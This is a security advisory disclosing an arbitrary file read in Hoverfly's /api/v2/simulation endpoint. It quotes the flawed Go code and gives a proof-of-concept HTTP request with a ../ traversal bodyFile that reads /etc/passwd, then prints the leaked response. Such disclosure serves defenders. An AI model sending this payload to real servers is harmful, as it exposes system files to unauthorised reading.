Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)

Details

The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.

# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
	if filepath.IsAbs(filePath) {
		return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
	}

	fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
	if err != nil {
		return "", err
	}

	return string(fileContents[:]), nil
}

Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.

This issue was found using the Uncontrolled data used in path expression CodeQL query for python.

Proof of Concept

Send the following POST request to read the /etc/passwd file:

POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

Response will contain the Hoverfly's server /etc/passwd

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close

{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}